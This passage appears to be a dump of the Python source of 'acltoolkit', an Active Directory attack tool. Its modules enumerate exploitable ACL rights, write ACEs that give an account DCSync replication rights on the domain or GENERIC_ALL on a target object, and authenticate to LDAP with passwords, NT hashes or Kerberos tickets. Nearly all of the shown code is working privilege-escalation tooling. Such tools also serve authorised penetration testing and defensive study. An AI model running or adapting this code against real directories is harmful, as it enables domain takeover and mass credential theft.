in enumerate(value): 22 | if i>0 : 23 | print() 24 | pretty_print(v, indent=indent + 1) 25 | else: 26 | print( 27 | (" " * indent + str(key)).ljust(padding, " ") 28 | + ": %s" 29 | % ( 30 | ("\n" + " " * padding + " ").join( 31 | map(lambda x: str(x), value) 32 | ) 33 | ) 34 | ) 35 | elif isinstance(value, tuple): 36 | print(" " * indent + str(key)) 37 | for v in value: 38 | pretty_print(v, indent=indent + 1) 39 | else: 40 | print(key) 41 | print(value) 42 | # Shouldn't end up here 43 | raise NotImplementedError("Not implemented: %s" % type(value)) 44 | else: 45 | # Shouldn't end up here 46 | raise NotImplementedError("Not implemented: %s" % type(d)) -------------------------------------------------------------------------------- /acltoolkit/get_objectacl.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import logging 3 | 4 | from ldap3.protocol.formatters.formatters import format_sid, format_uuid_le 5 | from ldap3.protocol.microsoft import security_descriptor_control 6 | from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR 7 | 8 | from acltoolkit.ldap import LDAPConnection, LDAPEntry, SecurityInformation, DEFAULT_CONTROL_FLAGS 9 | from acltoolkit.target import Target 10 | from acltoolkit.formatting import pretty_print 11 | from acltoolkit.constants import ACTIVE_DIRECTORY_RIGHTS, WELL_KNOWN_SIDS, EXTENDED_RIGHTS_MAP, JUICY_ADRIGHTS 12 | 13 | class GetObjectAcl: 14 | def __init__(self, options: argparse.Namespace): 15 | self.options = options 16 | 17 | self.target = Target(options) 18 | self._domain = None 19 | self._object = None 20 | self._primary_group = None 21 | self._sids = None 22 | self._groups = None 23 | self._sid_map = {} 24 | self._members = None 25 | 26 | self.ldap_connection = None 27 | 28 | self._security_descriptor = None 29 | 30 | def connect(self): 31 | self.ldap_connection = LDAPConnection(self.options.scheme, self.target) 32 | self.ldap_connection.connect() 33 | 34 | def search(self, *args, **kwargs) -> 'list["LDAPEntry"]': 35 | return self.ldap_connection.search(*args, **kwargs) 36 | 37 | def run(self): 38 | self.connect() 39 | 40 | object_info = dict() 41 | object_info["Sid"] = format_sid(self.object.get_raw("objectSid")) 42 | object_info["Name"] = self.sid_lookup(object_info["Sid"]) 43 | object_info["DN"] = self.object.get("distinguishedName") 44 | object_info["Class"] = [i.decode() for i in self.object.get_raw("objectClass")] 45 | 46 | if b'group' in self.object.get_raw("objectClass"): 47 | members = list() 48 | for member in self.members: 49 | member_output = dict() 50 | member_output['Sid'] = format_sid(member.get_raw("objectSid")) 51 | member_output['Name'] = member.get('name') 52 | member_output['DN'] = member.get('distinguishedName') 53 | 54 | members.append(member_output) 55 | object_info["Members"] = members 56 | 57 | if b'user' in self.object.get_raw("objectClass"): 58 | object_info["adminCount"] = True if self.object.get("adminCount") else False 59 | 60 | logon_script = dict() 61 | logon_script["scriptPath"] = self.object.get_raw("scriptPath") 62 | logon_script["msTSInitialProgram"] = self.object.get_raw("msTSInitialProgram") 63 | 64 | object_info["Logon Script"] = logon_script 65 | 66 | primary_group_info = dict() 67 | primary_group_info["Sid"] = format_sid(self.primary_group.get_raw("objectSid")) 68 | primary_group_info["Name"] = self.sid_lookup(primary_group_info["Sid"]) 69 | primary_group_info["DN"] = self.primary_group.get("distinguishedName") 70 | 71 | object_info["PrimaryGroup"] = primary_group_info 72 | 73 | groups = list() 74 | 75 | for group in self.groups: 76 | group_output = dict() 77 | group_output["Sid"] = format_sid(group.get_raw("objectSid")) 78 | group_output["Name"] = self.sid_lookup(group_output["Sid"]) 79 | group_output["DN"] = group.get("distinguishedName") 80 | 81 | groups.append(group_output) 82 | 83 | object_info["Groups"] = groups 84 | 85 | owner_info = dict() 86 | owner_info["Sid"] = self.security_descriptor["OwnerSid"].formatCanonical() 87 | owner_info["Name"] = self.sid_lookup(owner_info["Sid"]) 88 | 89 | object_info["Owner"] = owner_info 90 | 91 | ownergroup_info = dict() 92 | ownergroup_info["Sid"] = self.security_descriptor["GroupSid"].formatCanonical() 93 | ownergroup_info["Name"] = self.sid_lookup(ownergroup_info["Sid"]) 94 | 95 | object_info["OwnerGroup"] = ownergroup_info 96 | 97 | dacl = list() 98 | for ace in self.security_descriptor['Dacl'].aces: 99 | ace_output = dict() 100 | ace_output['ObjectSid'] = ace['Ace']['Sid'].formatCanonical() 101 | ace_output['Name'] = self.sid_lookup(ace['Ace']['Sid'].formatCanonical()) 102 | ace_output['AceType'] = ace['TypeName'] 103 | ace_output['AccessMask'] = ace['Ace']['Mask']['Mask'] 104 | ace_output['ADRights'] = self.ace_access_mask_lookup(ace['Ace']['Mask']['Mask']) 105 | ace_output['IsInherited'] = bool(ace['AceFlags'] & 0x10) 106 | try: 107 | ace_output['ObjectAceType'] = format_uuid_le(ace['Ace']['ObjectType']) if ace['Ace']['ObjectType'] else '{00000000-0000-0000-0000-000000000000}' 108 | ace_output['ObjectAceType'] = EXTENDED_RIGHTS_MAP[ace_output['ObjectAceType']] 109 | ace_output['InheritedObjectType'] = format_uuid_le(ace['Ace']['InheritedObjectType']) 110 | except KeyError: 111 | pass 112 | if self.options.all or any(juicy_adright in ace_output['ADRights'] for juicy_adright in JUICY_ADRIGHTS): 113 | dacl.append(ace_output) 114 | 115 | if len(dacl) > 0: 116 | # Is this even possible ?! 117 | object_info['Dacl'] = dacl 118 | 119 | pretty_print(object_info) 120 | 121 | def ace_access_mask_lookup(self, value) -> list : 122 | try: 123 | int_value = int(value) 124 | except ValueError: 125 | return value 126 | 127 | adrights = list() 128 | for flag, flag_item in ACTIVE_DIRECTORY_RIGHTS.items(): 129 | if (int_value & flag) == flag: 130 | adrights.append(flag_item) 131 | int_value ^= flag 132 | 133 | return adrights 134 | 135 | def sid_lookup(self, sid: str) -> str: 136 | if sid in WELL_KNOWN_SIDS: 137 | return WELL_KNOWN_SIDS[sid] 138 | 139 | results = self.search( 140 | "(&(objectSid=%s)(|(objectClass=group)(objectClass=user)))" % sid, 141 | attributes=["name", "objectSid"], 142 | ) 143 | 144 | if len(results) == 0: 145 | return sid 146 | 147 | result = results[0] 148 | 149 | self._sid_map[sid] = '%s\%s' % (self.domain.get("name"),result.get("name")) 150 | return self._sid_map[sid] 151 | 152 | @property 153 | def domain(self) -> str: 154 | if self._domain is not None: 155 | return self._domain 156 | 157 | domains = self.search( 158 | "(&(objectClass=domain)(distinguishedName=%s))" 159 | % self.ldap_connection.root_name_path, 160 | attributes=["name","objectSid"], 161 | ) 162 | if len(domains) == 0: 163 | logging.debug( 164 | "Could not find domain root domain %s, trying default %s" 165 | % (self.ldap_connection.root_name_path, self.ldap_connection.default_path) 166 | ) 167 | 168 | domains = self.search( 169 | "(&(objectClass=domain)(distinguishedName=%s))" 170 | % self.ldap_connection.default_path, 171 | attributes=["name","objectSid"], 172 | ) 173 | 174 | if len(domains) == 0: 175 | raise Exception( 176 | "Could not find domains: %s and %s" 177 | % (self.ldap_connection.root_name_path, 178 | self.ldap_connection.default_path) 179 | ) 180 | self._domain = domains[0] 181 | 182 | return self._domain 183 | 184 | @property 185 | def object(self) -> LDAPEntry: 186 | if self._object is not None: 187 | return self._object 188 | 189 | if self.options.object is not None: 190 | objectname = self.options.object 191 | else: 192 | objectname = self.target.username 193 | 194 | objects = self.search( 195 | "(|(sAMAccountName=%(o)s)(name=%(o)s)(objectSid=%(o)s)(distinguishedName=%(o)s))" % {'o': objectname} , 196 | attributes=["objectSid", "distinguishedName", "nTSecurityDescriptor", "primaryGroupId", "member", "objectClass", "adminCount", "scriptPath", "msTSInitialProgram"], 197 | ) 198 | 199 | if len(objects) == 0: 200 | raise Exception("Could not find such object: %s" % objectname) 201 | 202 | self._object = objects[0] 203 | 204 | return self._object 205 | 206 | @property 207 | def members(self) -> 'list["LDAPEntry"]': 208 | if self._members is not None: 209 | return self._members 210 | self._members = self.search("(|(memberOf=%s)(primaryGroupID=%s))" % (self.object.get("distinguishedName"), format_sid(self.object.get_raw("objectSid")).split('-')[-1]), 211 | attributes=["objectSid","name","distinguishedName"]) 212 | return self._members 213 | 214 | @property 215 | def groups(self) -> 'list["LDAPEntry"]': 216 | if self._groups is not None: 217 | return self._groups 218 | self._groups = self.search( 219 | "(member:1.2.840.113556.1.4.1941:=%s)" % self.object.get("distinguishedName"), 220 | attributes=["objectSid","name","distinguishedName"], 221 | ) 222 | return self._groups 223 | 224 | @property 225 | def primary_group(self) -> 'list["LDAPEntry"]': 226 | if self._primary_group is not None: 227 | return self._primary_group 228 | 229 | primary_group = self.search('(objectSid=%s-%s)' % (format_sid(self.domain.get_raw("objectSid")), self.object.get("primaryGroupID")), attributes=["objectSid","name", "distinguishedName"]) 230 | self._primary_group = primary_group[0] 231 | 232 | return self._primary_group 233 | 234 | @property 235 | def user_sids(self) -> 'list[str]': 236 | """List of effective SIDs for user""" 237 | if self._user_sids is not None: 238 | return self._user_sids 239 | 240 | self._user_sids = list( 241 | map( 242 | lambda entry: format_sid(entry.get_raw("objectSid")), 243 | [*self.groups, self.object], 244 | ) 245 | ) 246 | 247 | return self._user_sids 248 | 249 | @property 250 | def security_descriptor(self) -> SR_SECURITY_DESCRIPTOR: 251 | if self._security_descriptor is not None: 252 | return self._security_descriptor 253 | 254 | self._security_descriptor = SR_SECURITY_DESCRIPTOR() 255 | self._security_descriptor.fromString(self.object.get_raw("nTSecurityDescriptor")) 256 | 257 | return self.security_descriptor 258 | 259 | def get_objectacl(options: argparse.Namespace): 260 | g = GetObjectAcl(options) 261 | g.run() -------------------------------------------------------------------------------- /acltoolkit/give_dcsync.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import logging 3 | 4 | import ldap3 5 | from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR, LDAP_SID, ACE, ACCESS_ALLOWED_ACE, ACCESS_MASK, ACCESS_ALLOWED_OBJECT_ACE 6 | from impacket.uuid import string_to_bin 7 | 8 | from acltoolkit.ldap import LDAPConnection, LDAPEntry 9 | from acltoolkit.target import Target 10 | 11 | class GiveDCSync: 12 | def __init__(self, options: argparse.Namespace): 13 | self.options = options 14 | self.ldap_connection = None 15 | 16 | self.target = Target(options) 17 | 18 | self._object = None 19 | self._security_descriptor = None 20 | self._domain = None 21 | self._granted = None 22 | 23 | def connect(self): 24 | self.ldap_connection = LDAPConnection(self.options.scheme, self.target) 25 | self.ldap_connection.connect() 26 | 27 | def search(self, *args, **kwargs) -> 'list["LDAPEntry"]': 28 | return self.ldap_connection.search(*args, **kwargs) 29 | 30 | def write(self, *args, **kwargs) -> int: 31 | return self.ldap_connection.write(*args, **kwargs) 32 | 33 | def run(self): 34 | self.connect() 35 | 36 | logging.info("Granted object will be: %s" % self.granted.get("distinguishedName")) 37 | self.security_descriptor["Dacl"].aces.append(self.create_object_ace(self.granted.get_raw("objectSid"), '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2')) 38 | self.security_descriptor["Dacl"].aces.append(self.create_object_ace(self.granted.get_raw("objectSid"), '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2')) 39 | ret = self.write(self.domain.get("distinguishedName"), {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, [self.security_descriptor.getData()]]}) 40 | 41 | if ret['result'] == 0: 42 | logging.info("Granted DCSync rights successfully !") 43 | else : 44 | if ret['result'] == 50: 45 | raise Exception('Could not modify object, the server reports insufficient rights: %s', ret['message']) 46 | elif ret['result'] == 19: 47 | raise Exception('Could not modify object, the server reports a constrained violation: %s', ret['message']) 48 | else: 49 | raise Exception('The server returned an error: %s', ret['message']) 50 | 51 | @property 52 | def object(self) -> LDAPEntry: 53 | if self._object is not None: 54 | return self._object 55 | 56 | object_sid = self.options.target_sid 57 | 58 | objects = self.search( 59 | "(objectSid=%s)" % object_sid, 60 | attributes=["distinguishedName", "nTSecurityDescriptor", "primaryGroupId"] 61 | ) 62 | 63 | if len(objects) == 0: 64 | raise Exception("Could not find object with Sid: %s" % object_sid) 65 | 66 | self._object = objects[0] 67 | 68 | return self._object 69 | 70 | @property 71 | def granted(self) -> LDAPEntry: 72 | if self._granted is not None: 73 | return self._granted 74 | 75 | if self.options.granted_sid is not None: 76 | granted = self.search( 77 | "(objectSid=%s)" % self.options.granted_sid, 78 | attributes=["distinguishedName", "objectSid"] 79 | ) 80 | if len(granted) == 0: 81 | raise Exception("Could not find granted user") 82 | else: 83 | granted = self.search( 84 | "(sAMAccountName=%s)" 85 | % self.target.username, 86 | attributes=["distinguishedName","objectSid"], 87 | ) 88 | self._granted = granted[0] 89 | return self._granted 90 | 91 | @property 92 | def domain(self): 93 | if self._domain is not None: 94 | return self._domain 95 | 96 | domains = self.search( 97 | "(objectCategory=domain)", attributes=['distinguishedName','nTSecurityDescriptor'] 98 | ) 99 | 100 | self._domain = domains[0] 101 | return self._domain 102 | 103 | @property 104 | def security_descriptor(self) -> SR_SECURITY_DESCRIPTOR: 105 | if self._security_descriptor is not None: 106 | return self._security_descriptor 107 | 108 | self._security_descriptor = SR_SECURITY_DESCRIPTOR() 109 | self._security_descriptor.fromString(self.domain.get_raw("nTSecurityDescriptor")) 110 | 111 | return self.security_descriptor 112 | 113 | def create_object_ace(self, sid: bytes, guid: str): 114 | nace = ACE() 115 | nace['AceType'] = ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE 116 | nace['AceFlags'] = 0x00 117 | acedata = ACCESS_ALLOWED_OBJECT_ACE() 118 | acedata['Mask'] = ACCESS_MASK() 119 | acedata['Mask']['Mask'] = ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS 120 | acedata['Sid'] = LDAP_SID(sid) 121 | acedata['ObjectType'] = string_to_bin(guid) 122 | acedata['InheritedObjectType'] = b'' 123 | acedata['Flags'] = ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT 124 | nace['Ace'] = acedata 125 | return nace 126 | 127 | def give_dcsync(options: argparse.Namespace): 128 | g = GiveDCSync(options) 129 | g.run() 130 | -------------------------------------------------------------------------------- /acltoolkit/give_genericall.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import logging 3 | 4 | import ldap3 5 | from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR, LDAP_SID, ACE, ACCESS_ALLOWED_ACE, ACCESS_MASK 6 | 7 | from acltoolkit.ldap import LDAPConnection, LDAPEntry 8 | from acltoolkit.target import Target 9 | 10 | class GiveGenericAll: 11 | def __init__(self, options: argparse.Namespace): 12 | self.options = options 13 | self.ldap_connection = None 14 | 15 | self.target = Target(options) 16 | 17 | self._security_descriptor = None 18 | self._object = None 19 | self._granted = None 20 | 21 | def connect(self): 22 | self.ldap_connection = LDAPConnection(self.options.scheme, self.target) 23 | self.ldap_connection.connect() 24 | 25 | def search(self, *args, **kwargs) -> 'list["LDAPEntry"]': 26 | return self.ldap_connection.search(*args, **kwargs) 27 | 28 | def write(self, *args, **kwargs) -> int: 29 | return self.ldap_connection.write(*args, **kwargs) 30 | 31 | def run(self): 32 | self.connect() 33 | 34 | logging.info("Find target object: %s" % self.object.get("distinguishedName")) 35 | logging.info("Granted object will be: %s" % self.granted.get("distinguishedName")) 36 | self.security_descriptor["Dacl"].aces.append(self.create_allow_ace(self.granted.get_raw("objectSid"))) 37 | 38 | ret = self.write(self.object.get("distinguishedName"), {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, [self.security_descriptor.getData()]]}) 39 | 40 | if ret['result'] == 0: 41 | logging.info("Granted GENERIC_ALL successfully !") 42 | else : 43 | if ret['result'] == 50: 44 | raise Exception('Could not modify object, the server reports insufficient rights: %s', ret['message']) 45 | elif ret['result'] == 19: 46 | raise Exception('Could not modify object, the server reports a constrained violation: %s', ret['message']) 47 | else: 48 | raise Exception('The server returned an error: %s', ret['message']) 49 | 50 | @property 51 | def object(self) -> LDAPEntry: 52 | if self._object is not None: 53 | return self._object 54 | 55 | object_sid = self.options.target_sid 56 | 57 | objects = self.search( 58 | "(objectSid=%s)" % object_sid, 59 | attributes=["distinguishedName", "nTSecurityDescriptor", "primaryGroupId"] 60 | ) 61 | 62 | if len(objects) == 0: 63 | raise Exception("Could not find object with Sid: %s" % object_sid) 64 | 65 | self._object = objects[0] 66 | 67 | return self._object 68 | 69 | @property 70 | def granted(self) -> LDAPEntry: 71 | if self._granted is not None: 72 | return self._granted 73 | 74 | if self.options.granted_sid is not None: 75 | granted = self.search( 76 | "(objectSid=%s)" % self.options.granted_sid, 77 | attributes=["distinguishedName", "objectSid"] 78 | ) 79 | if len(granted) == 0: 80 | raise Exception("Could not find granted user") 81 | else: 82 | granted = self.search( 83 | "(sAMAccountName=%s)" 84 | % self.target.username, 85 | attributes=["distinguishedName","objectSid"], 86 | ) 87 | self._granted = granted[0] 88 | return self._granted 89 | 90 | 91 | @property 92 | def security_descriptor(self) -> SR_SECURITY_DESCRIPTOR: 93 | if self._security_descriptor is not None: 94 | return self._security_descriptor 95 | 96 | self._security_descriptor = SR_SECURITY_DESCRIPTOR() 97 | self._security_descriptor.fromString(self.object.get_raw("nTSecurityDescriptor")) 98 | 99 | return self.security_descriptor 100 | 101 | def create_allow_ace(self, sid: bytes): 102 | nace = ACE() 103 | nace['AceType'] = ACCESS_ALLOWED_ACE.ACE_TYPE 104 | nace['AceFlags'] = 0x00 105 | acedata = ACCESS_ALLOWED_ACE() 106 | acedata['Mask'] = ACCESS_MASK() 107 | acedata['Mask']['Mask'] = 983551 # Generic All 108 | acedata['Sid'] = LDAP_SID(sid) 109 | nace['Ace'] = acedata 110 | return nace 111 | 112 | def give_genericall(options: argparse.Namespace): 113 | g = GiveGenericAll(options) 114 | g.run() 115 | -------------------------------------------------------------------------------- /acltoolkit/ldap.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from typing import Any 3 | from enum import IntFlag 4 | import ldap3 5 | from binascii import unhexlify 6 | import ssl 7 | import os 8 | from impacket.ldap import ldap 9 | from ldap3.protocol.microsoft import security_descriptor_control 10 | from impacket.ldap.ldapasn1 import Control 11 | 12 | from acltoolkit.target import Target 13 | 14 | 15 | 16 | class SecurityInformation(IntFlag): 17 | OWNER_SECURITY_INFORMATION = 0x01 18 | GROUP_SECURITY_INFORMATION = 0x02 19 | DACL_SECURITY_INFORMATION = 0x04 20 | SACL_SECURITY_INFORMATION = 0x08 21 | UNPROTECTED_SACL_SECURITY_INFORMATION = 0x10000000 22 | UNPROTECTED_DACL_SECURITY_INFORMATION = 0x20000000 23 | 24 | 25 | DEFAULT_CONTROL_FLAGS: 'list["Control"]' = [ 26 | ldap.SimplePagedResultsControl(size=50), 27 | ] 28 | 29 | class LDAPEntry: 30 | def __init__(self, search_entry): 31 | attributes = dict() 32 | for attr, value in search_entry["raw_attributes"].items(): 33 | if len(value) == 0: 34 | continue 35 | vals = ( 36 | list(map(lambda x: bytes(x), value)) 37 | if len(value) > 1 38 | else bytes(value[0]) 39 | ) 40 | attributes[str(attr)] = vals 41 | self.attributes = attributes 42 | 43 | def get(self, key: str) -> str: 44 | value = self.get_raw(key) 45 | return value.decode() if value else None 46 | 47 | def get_raw(self, key: str) -> Any: 48 | if key not in self.attributes: 49 | return None 50 | return self.attributes[key] 51 | 52 | def __repr__(self) -> str: 53 | return "" % repr(self.attributes) 54 | 55 | class LDAPConnection: 56 | def __init__(self, scheme: str, target: Target): 57 | self.target = target 58 | self._root_name_path = None 59 | self._default_path = None 60 | self.scheme = scheme 61 | self._ldap_server = None 62 | self.ldap_session = None 63 | 64 | def connect(self): 65 | if self.scheme == "ldaps": 66 | try: 67 | return self.init_session(ssl.PROTOCOL_TLSv1_2) 68 | except ldap3.core.exceptions.LDAPSocketOpenError: 69 | return self.init_session(ssl.PROTOCOL_TLSv1) 70 | else: 71 | return self.init_session(None) 72 | 73 | def init_session(self, ssl_version): 74 | target = self.target 75 | 76 | if self.scheme == "ldaps": 77 | use_ssl = True 78 | port = 636 79 | tls = ldap3.Tls(validate=ssl.CERT_NONE, version= ssl_version) 80 | else: 81 | use_ssl = False 82 | port = 389 83 | tls = None 84 | 85 | logging.debug("Connecting to LDAP at %s (%s)" % (repr(target.remote_name), target.dc_ip)) 86 | 87 | self.ldap_server = ldap3.Server(self.target.dc_ip, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) 88 | 89 | try: 90 | if self.target.do_kerberos: 91 | self.ldap_session = ldap3.Connection(self.ldap_server) 92 | self.ldap_session.bind() 93 | self.kerberosLogin( 94 | connection = self.ldap_session, 95 | user=target.username, 96 | password=target.password, 97 | domain=target.domain, 98 | lmhash=target.lmhash, 99 | nthash=target.nthash, 100 | remote_name=target.remote_name, 101 | kdcHost=target.dc_ip, 102 | ) 103 | else: 104 | if target.nthash != '': 105 | self.ldap_session = ldap3.Connection( 106 | server=self.ldap_server, 107 | user="%s\%s" % (target.domain, target.username), 108 | password=target.ntlmhash, 109 | authentication=ldap3.NTLM, 110 | auto_bind=True 111 | ) 112 | else: 113 | self.ldap_session = ldap3.Connection( 114 | server=self.ldap_server, 115 | user="%s\%s" % (target.domain, target.username), 116 | password=target.password, 117 | authentication=ldap3.NTLM, 118 | auto_bind=True 119 | ) 120 | 121 | except ldap3.core.exceptions.LDAPUnknownAuthenticationMethodError as e: 122 | if "invalidCredentials" in str(e): 123 | error_text = "Invalid credentials" 124 | else: 125 | error_text = str(e) 126 | logging.warning("Got error while connecting to LDAP: %s" % error_text) 127 | exit(1) 128 | 129 | logging.debug( 130 | "Connected to %s, port %d, SSL %s" 131 | % (target.dc_ip, self.ldap_server.port, self.ldap_server.ssl) 132 | ) 133 | 134 | return self.ldap_session 135 | 136 | def search( 137 | self, 138 | search_filter: str, 139 | controls = security_descriptor_control( 140 | sdflags=( 141 | ( 142 | SecurityInformation.OWNER_SECURITY_INFORMATION 143 | | SecurityInformation.GROUP_SECURITY_INFORMATION 144 | | SecurityInformation.DACL_SECURITY_INFORMATION 145 | | SecurityInformation.UNPROTECTED_DACL_SECURITY_INFORMATION 146 | ).value 147 | ) 148 | ), 149 | search_base: str = None, 150 | *args, 151 | **kwargs 152 | ) -> 'list["LDAPEntry"]': 153 | if search_base is None: 154 | search_base = self.default_path 155 | 156 | self.ldap_session.search( 157 | search_filter=search_filter, 158 | search_base=search_base, 159 | controls=controls, 160 | *args, 161 | **kwargs 162 | ) 163 | 164 | results = self.ldap_session.response 165 | entries: list["LDAPEntry"] = list( 166 | map( 167 | lambda entry: LDAPEntry(entry), 168 | filter( 169 | lambda entry: "raw_attributes" in entry, results), 170 | ) 171 | ) 172 | return entries 173 | 174 | def write( 175 | self, 176 | target_dn: str, 177 | changes: dict, 178 | controls = security_descriptor_control( 179 | sdflags=( 180 | ( 181 | SecurityInformation.OWNER_SECURITY_INFORMATION 182 | | SecurityInformation.GROUP_SECURITY_INFORMATION 183 | | SecurityInformation.DACL_SECURITY_INFORMATION 184 | | SecurityInformation.UNPROTECTED_DACL_SECURITY_INFORMATION 185 | ).value 186 | ) 187 | ), 188 | ): 189 | self.ldap_session.modify(dn=target_dn, changes=changes,controls=controls) 190 | return self.ldap_session.result 191 | 192 | def _set_root_dse(self) -> None: 193 | dses = self.search( 194 | "(objectClass=*)", 195 | search_base="", 196 | attributes=[ 197 | "*" 198 | ], 199 | search_scope=ldap3.BASE, 200 | ) 201 | assert len(dses) == 1 202 | 203 | dse = dses[0] 204 | self._root_name_path = dse.get("rootDomainNamingContext") 205 | self._default_path = dse.get("defaultNamingContext") 206 | self._configuration_path = dse.get("configurationNamingContext") 207 | 208 | def kerberosLogin(self, connection, user, password, domain='', lmhash='', nthash='', aesKey='', remote_name='', kdcHost=None, TGT=None, 209 | TGS=None, useCache=True): 210 | """ 211 | logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. 212 | :param string user: username 213 | :param string password: password for the user 214 | :param string domain: domain where the account is valid for (required) 215 | :param string lmhash: LMHASH used to authenticate using hashes (password is not used) 216 | :param string nthash: NTHASH used to authenticate using hashes (password is not used) 217 | :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication 218 | :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) 219 | :param struct TGT: If there's a TGT available, send the structure here and it will be used 220 | :param struct TGS: same for TGS. See smb3.py for the format 221 | :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False 222 | :return: True, raises a LDAPSessionError if error. 223 | """ 224 | 225 | if lmhash != '' or nthash != '': 226 | if len(lmhash) % 2: 227 | lmhash = '0' + lmhash 228 | if len(nthash) % 2: 229 | nthash = '0' + nthash 230 | try: # just in case they were converted already 231 | lmhash = unhexlify(lmhash) 232 | nthash = unhexlify(nthash) 233 | except TypeError: 234 | pass 235 | 236 | # Importing down here so pyasn1 is not required if kerberos is not used. 237 | from pyasn1.codec.ber import encoder, decoder 238 | from pyasn1.type.univ import noValue 239 | from impacket.krb5.ccache import CCache 240 | from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set 241 | from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS 242 | from impacket.krb5 import constants 243 | from impacket.krb5.types import Principal, KerberosTime, Ticket 244 | from impacket.spnego import TypesMech, SPNEGO_NegTokenInit 245 | import datetime 246 | 247 | if TGT is not None or TGS is not None: 248 | useCache = False 249 | 250 | if useCache: 251 | try: 252 | ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) 253 | except Exception as e: 254 | # No cache present 255 | print(e) 256 | pass 257 | else: 258 | # retrieve domain information from CCache file if needed 259 | if domain == '': 260 | domain = ccache.principal.realm['data'].decode('utf-8') 261 | logging.debug('Domain retrieved from CCache: %s' % domain) 262 | 263 | logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME')) 264 | principal = 'ldap/%s@%s' % (self.target.remote_name.upper(), domain.upper()) 265 | creds = ccache.getCredential(principal) 266 | if creds is None: 267 | # Let's try for the TGT and go from there 268 | principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) 269 | creds = ccache.getCredential(principal) 270 | if creds is not None: 271 | TGT = creds.toTGT() 272 | logging.debug('Using TGT from cache') 273 | else: 274 | logging.debug('No valid credentials found in cache') 275 | else: 276 | TGS = creds.toTGS(principal) 277 | logging.debug('Using TGS from cache') 278 | 279 | # retrieve user information from CCache file if needed 280 | if user == '' and creds is not None: 281 | user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') 282 | logging.debug('Username retrieved from CCache: %s' % user) 283 | elif user == '' and len(ccache.principal.components) > 0: 284 | user = ccache.principal.components[0]['data'].decode('utf-8') 285 | logging.debug('Username retrieved from CCache: %s' % user) 286 | 287 | # First of all, we need to get a TGT for the user 288 | userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 289 | if TGT is None: 290 | if TGS is None: 291 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, 292 | aesKey, kdcHost) 293 | else: 294 | tgt = TGT['KDC_REP'] 295 | cipher = TGT['cipher'] 296 | sessionKey = TGT['sessionKey'] 297 | 298 | if TGS is None: 299 | 300 | serverName = Principal('ldap/%s' % remote_name, type=constants.PrincipalNameType.NT_SRV_INST.value) 301 | tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, 302 | sessionKey) 303 | else: 304 | tgs = TGS['KDC_REP'] 305 | cipher = TGS['cipher'] 306 | sessionKey = TGS['sessionKey'] 307 | 308 | # Let's build a NegTokenInit with a Kerberos REQ_AP 309 | 310 | blob = SPNEGO_NegTokenInit() 311 | 312 | # Kerberos 313 | blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] 314 | 315 | # Let's extract the ticket from the TGS 316 | tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] 317 | ticket = Ticket() 318 | ticket.from_asn1(tgs['ticket']) 319 | 320 | # Now let's build the AP_REQ 321 | apReq = AP_REQ() 322 | apReq['pvno'] = 5 323 | apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) 324 | 325 | opts = [] 326 | apReq['ap-options'] = constants.encodeFlags(opts) 327 | seq_set(apReq, 'ticket', ticket.to_asn1) 328 | 329 | authenticator = Authenticator() 330 | authenticator['authenticator-vno'] = 5 331 | authenticator['crealm'] = domain 332 | seq_set(authenticator, 'cname', userName.components_to_asn1) 333 | now = datetime.datetime.utcnow() 334 | 335 | authenticator['cusec'] = now.microsecond 336 | authenticator['ctime'] = KerberosTime.to_asn1(now) 337 | 338 | encodedAuthenticator = encoder.encode(authenticator) 339 | 340 | # Key Usage 11 341 | # AP-REQ Authenticator (includes application authenticator 342 | # subkey), encrypted with the application session key 343 | # (Section 5.5.1) 344 | encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) 345 | 346 | apReq['authenticator'] = noValue 347 | apReq['authenticator']['etype'] = cipher.enctype 348 | apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator 349 | 350 | blob['MechToken'] = encoder.encode(apReq) 351 | 352 | request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', 353 | blob.getData()) 354 | 355 | # Done with the Kerberos saga, now let's get into LDAP 356 | if connection.closed: # try to open connection if closed 357 | connection.open(read_server_info=False) 358 | 359 | connection.sasl_in_progress = True 360 | response = connection.post_send_single_response(connection.send('bindRequest', request, None)) 361 | connection.sasl_in_progress = False 362 | if response[0]['result'] != 0: 363 | raise Exception(response) 364 | 365 | connection.bound = True 366 | 367 | return True 368 | 369 | @property 370 | def root_name_path(self) -> str: 371 | if self._root_name_path is not None: 372 | return self._root_name_path 373 | 374 | self._set_root_dse() 375 | 376 | return self._root_name_path 377 | 378 | @property 379 | def default_path(self) -> str: 380 | if self._default_path is not None: 381 | return self._default_path 382 | 383 